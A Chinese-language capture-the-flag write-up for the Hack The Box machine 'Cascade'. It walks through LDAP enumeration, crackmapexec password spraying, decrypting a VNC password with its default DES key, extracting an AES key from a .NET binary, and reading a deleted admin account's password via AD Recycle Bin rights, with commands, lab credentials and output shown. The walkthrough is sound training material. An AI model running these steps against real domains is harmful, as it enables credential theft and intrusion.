HTB-cascade

初始权限获取

常规端口扫描,记住WinRM(TCP 5985)是打开的

枚举了smb,rpc

接着枚举 LDAP,首先我将获取命名上下文:

root@kali# ldapsearch -h 10.10.10.182 -x -s base namingcontexts

如果我只想找到人,我可以提供一个查询::

ldapsearch -h 10.10.10.182 -x -b "DC=cascade,DC=local" '(objectClass=person)' > ldap-people

通过查看数据,Ryan Thompson 在最后有一个有趣的额外数据项cascadeLegacyPwd

我可以将值解码为rY4n5eva

root@kali# echo clk0bjVldmE= | base64 -d
rY4n5eva

我尝试通过 WinRM 连接,但没有成功。

root@kali# crackmapexec winrm 10.10.10.182 -u r.thompson -p rY4n5eva
WINRM       10.10.10.182    5985   CASC-DC1         [*] http://10.10.10.182:5985/wsman
WINRM       10.10.10.182    5985   CASC-DC1         [-] CASCADE\r.thompson:rY4n5eva "Failed to authenticate the user r.thompson with ntlm"

使用从 LDAP 收集的密码,可以看到更多共享:

root@kali# crackmapexec smb -u r.thompson -p rY4n5eva --shares 10.10.10.182

recurse on

recurse ON:该命令启用递归操作。如果执行复制或下载文件等操作,该命令也会影响子目录中的文件。

prompt off

ls

mget *

枚举文件

从收集到的信息来看,最引起我兴趣的文件是“VNC Install.reg”,因为 VNC 是一个远程软件。也因为它位于s.smith文件夹中。

cat IT/Temp/s.smith/VNC\ Install.reg

img

你知道什么……?另一个编码密码!这次,它是十六进制编码的,所以我使用以下命令对其进行解码:

echo "6bcf2a4b6e5aca0f" | xxd -r -p && echo ''

img

它有效,但密码看起来已加密。这是因为这是 VNC 密码。

解密vnc密码

但是,有一个技巧可以使用默认加密密钥和 open-ssl 单行代码来解码 VNC 密码。

echo -n "6bcf2a4b6e5aca0f" | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv

这句出现报错,用下面这句

可以尝试删除-provider legacy -provider default

echo -n "6bcf2a4b6e5aca0f" | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

img

接下来,我使用 clangmapexec 再次检查每个用户的密码

crackmapexec smb 10.10.10.182 -d cascade.local -u ./users.txt -p sT333ve2 --continue-on-success

这确认了该密码属于s.smith

提权

其余三个要检查的文件是:

  • IT/电子邮件档案/Meeting_Notes_June_2018.html

  • IT/日志/Ark AD 回收站/ArkAdRecycleBin.log

  • IT/日志/DC/dcdiag.log

由于该文件是 HTML 文件,因此可以在终端上使用cat或在浏览器中读取它。我决定在浏览器中检查它,看看它的渲染效果是否“漂亮”。

firefox "IT/Email Archives/Meeting_Notes_June_2018.html"

很有意思!我们可以看到 TempAdmin 帐户已被删除的提示,但密码与实际管理员帐户相同。

基本上,这告诉我,找到 TempAdmin 的密码将使我能够以管理员帐户访问主机。

下一个要检查的文件是“ArkAdRecycleBin.log”

cat "IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log"

这个文件也很有趣。它告诉我们,他们是一个用于删除用户的程序,并且以ArkSvc帐户运行。

这里有两件重要的事情。首先,该程序作为服务帐户运行,这意味着它需要以某种方式验证该用户的身份(脚本中的密码?)。其次,我们可以看到该程序删除了TempAdmin帐户,该帐户的密码与实际管理员帐户的密码相同。

此外,据观察,ArkSvc帐户是AD 回收站组的一部分,这可能是该程序所需要的。此外,该帐户位于“AD Recycle Bin”组中,并且可以使用 WinRM 远程管理 DC。

最后,我们要检查“dcdiag.log”文件。

cat "IT/Logs/DCs/dcdiag.log"

然而,查看此文件,它似乎是带有“通过或失败”消息的诊断测试 - 没有从输出中提取任何有趣的内容。

现在已经完全枚举了共享,我决定继续前进,看看我作为用户s.smith可以做什么。

现在我确认密码对于用户s.smith是有效的,我可以轻松地在 WinRM 上站稳脚跟。

net user s.smith

用户s.smith也在“Audit Share”组中。

看一下net localgroup "Audit Share"

只有用户s.smith

通过smb获得文件枚举数据库

早些时候,我们发现有一个名为Audit$

smbclient \\10.10.10.182\Audit$ -U 'cascade.local\s.smith' recurse on

prompt off

ls

mget *

首先看到的是DB\Audit.db。这是一个 SQLite3 数据库:

root@kali# file Audit.db 
Audit.db: SQLite 3.x database, last written using SQLite version 3027002

我转储了三个表中的所有数据:

root@kali# sqlite3 Audit.db 
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
DeletedUserAudit  Ldap              Misc
​
sqlite> select * from DeletedUserAudit;
6|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
7|deleted|deleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local
9|TempAdmin|TempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local
​
sqlite> select * from Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
​
sqlite> select * from Misc;

没有什么特别有趣的事情。我认为该Ldap表中可能有密码,但 Base64 编码的数据无法解码为 ASCII。也许它以某种方式加密了。

逆向(解密该密码)

CascAudit.exeCascCrypto.dll文件传输到我的 Windows 实验室计算机。

先看.dll文件

这是一个用于在C#中进行AES加密的简单实现。以下是对代码的解释:

csharpCopy codenamespace CascCrypto
{
    // Crypto类用于包含加密相关的方法
    public class Crypto
    {
        // EncryptString方法用于对输入的明文字符串进行加密
        public static string EncryptString(string Plaintext, string Key)
        {
            // 将明文字符串转换为字节数组
            byte[] bytes = Encoding.UTF8.GetBytes(Plaintext);
​
            // 创建AES实例
            Aes aes = Aes.Create();
​
            // 设置AES算法的一些参数
            aes.BlockSize = 128;  // 指定块大小为128位
            aes.KeySize = 128;    // 指定密钥大小为128位
​
            // 设置初始化向量(IV),这是AES算法中的一个参数,通常需要和密钥一起使用
            aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
​
            // 设置加密密钥
            aes.Key = Encoding.UTF8.GetBytes(Key);
​
            // 设置加密模式,这里使用的是Cipher Block Chaining (CBC) 模式
            aes.Mode = CipherMode.CBC;
​
            // 创建加密器
            ICryptoTransform encryptor = aes.CreateEncryptor();
​
            // 使用加密器对字节数组进行加密
            byte[] encryptedBytes = encryptor.TransformFinalBlock(bytes, 0, bytes.Length);
​
            // 将加密后的字节数组转换为Base64字符串表示
            string result = Convert.ToBase64String(encryptedBytes);
​
            // 返回加密后的字符串
            return result;
        }
    }
}

这段代码使用了C#中的Aes类,该类提供了对高级加密标准 (AES) 算法的实现。在加密过程中,它使用了128位的块大小和密钥大小,采用了Cipher Block Chaining (CBC) 模式。初始化向量 (IV) 和密钥都是使用UTF-8编码的字符串。最终,明文字符串被转换为字节数组,然后通过AES加密器进行加密,并将结果以Base64字符串的形式返回。

此时,我已经掌握了对该密码进行逆向工程所需的大部分信息,其中包括 base64 字符串和静态 IV 值。然而,我需要找到这个难题的最后一块是“key”值。

为此,我决定在dnSpy中打开**CascAudit.exe**,然后查看代码,看看能否找到密钥。

在检查 main() 后不久,在第 31 行发现了密钥:c4scadek3y654321

img

完美的!这意味着我拥有逆向工程该密码所需的所有内容。

为了对这个密码进行逆向工程,我决定使用一个名为CyberChef的方便工具。

img

或者

直接在.exe文件中设置断点

它打开与作为参数传递的数据库的 SQLite 连接,从 LDAP 表中读取数据,并解密密码。

我在第 53 行 SQL 连接关闭的地方设置了一个断点。然后我进入 Debug -> Start Debugging…,并将 Argument 设置为我有以下内容副本的位置 Audit.db

点击“确定”后,它运行到断点,我可以在“本地”窗口中看到解密的密码:

根据 SQLite DB 中的行,此密码w3lc0meFr31nd可能与帐户 arksvc 配对。

crackmapexec winrm 10.10.10.182 -u arksvc -p w3lc0meFr31nd

AD Recycle Bin提权

arksvc 也属于一些有趣的组:

*Evil-WinRM* PS C:\> net user arksvc
User name                    arksvc
Full Name                    ArkSvc
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never
​
Password last set            1/9/2020 5:18:20 PM
Password expires             Never
Password changeable          1/9/2020 5:18:20 PM
Password required            Yes
User may change password     No
​
Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   3/30/2020 12:37:25 PM
​
Logon hours allowed          All
​
Local Group Memberships      *AD Recycle Bin       *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

AD Recycle Bin是一个著名的Windows小组。[Active AD Recycle Bin是一个著名的Windows小组。Active Directory 对象恢复(或回收站)是 Server 2008 中添加的一项功能,允许管理员恢复已删除的项目,就像回收站恢复文件一样。链接的文章提供了一个 PowerShell 命令来查询域中所有已删除的对象:

*Evil-WinRM* PS C:\> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
​
​
Deleted           : True
DistinguishedName : CN=CASC-WS1\0ADEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe,CN=Deleted Objects,DC=cascade,DC=local
Name              : CASC-WS1
                    DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe
ObjectClass       : computer
ObjectGUID        : 6d97daa4-2e82-4946-a11e-f91fa18bfabe
​
Deleted           : True
DistinguishedName : CN=Scheduled Tasks\0ADEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2,CN=Deleted Objects,DC=cascade,DC=local                                                                                   
Name              : Scheduled Tasks
                    DEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2
ObjectClass       : group
ObjectGUID        : 13375728-5ddb-4137-b8b8-b9041d1d3fd2
​
Deleted           : True
DistinguishedName : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local
Name              : {A403B701-A528-4685-A816-FDEE32BDDCBA}
                    DEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e
ObjectClass       : groupPolicyContainer
ObjectGUID        : ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e
​
Deleted           : True
DistinguishedName : CN=Machine\0ADEL:93c23674-e411-400b-bb9f-c0340bda5a34,CN=Deleted Objects,DC=cascade,DC=local
Name              : Machine                                                              
                    DEL:93c23674-e411-400b-bb9f-c0340bda5a34               
ObjectClass       : container                                                            
ObjectGUID        : 93c23674-e411-400b-bb9f-c0340bda5a34
                                                                                         
Deleted           : True                                                                 
DistinguishedName : CN=User\0ADEL:746385f2-e3a0-4252-b83a-5a206da0ed88,CN=Deleted Objects,DC=cascade,DC=local
Name              : User                                                                 
                    DEL:746385f2-e3a0-4252-b83a-5a206da0ed88                             
ObjectClass       : container                                                            
ObjectGUID        : 746385f2-e3a0-4252-b83a-5a206da0ed88
                                            
Deleted           : True                                                                 
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local                                                                
Name              : TempAdmin               
                    DEL:f0cc344d-31e0-4866-bceb-a842791ca059                                         
ObjectClass       : user                                                                             
ObjectGUID        : f0cc344d-31e0-4866-bceb-a842791ca059 

最后一个非常有趣,因为它是我之前发现的旧电子邮件中提到的临时管理帐户(其中还说它使用与普通管理员帐户相同的密码)。

我可以获得该帐户的所有详细信息:

*Evil-WinRM* PS C:\> Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *
​
​
accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage                        : 0
countryCode                     : 0
Created                         : 1/27/2020 3:23:08 AM
createTimeStamp                 : 1/27/2020 3:23:08 AM
Deleted                         : True
Description                     :
DisplayName                     : TempAdmin
DistinguishedName               : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName                       : TempAdmin
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff                      : 0
lastLogon                       : 0
logonCount                      : 0
Modified                        : 1/27/2020 3:24:34 AM
modifyTimeStamp                 : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN               : TempAdmin
Name                            : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : user
ObjectGUID                      : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid                       : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID                  : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 132245689883479503
sAMAccountName                  : TempAdmin
sDRightsEffective               : 0
userAccountControl              : 66048
userPrincipalName               : TempAdmin@cascade.local
uSNChanged                      : 237705
uSNCreated                      : 237695
whenChanged                     : 1/27/2020 3:24:34 AM
whenCreated                     : 1/27/2020 3:23:08 AM

立刻就cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz跳了出来。它解码为baCT3r1aN00dles

root@kali# echo YmFDVDNyMWFOMDBkbGVz | base64 -d
baCT3r1aN00dles
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值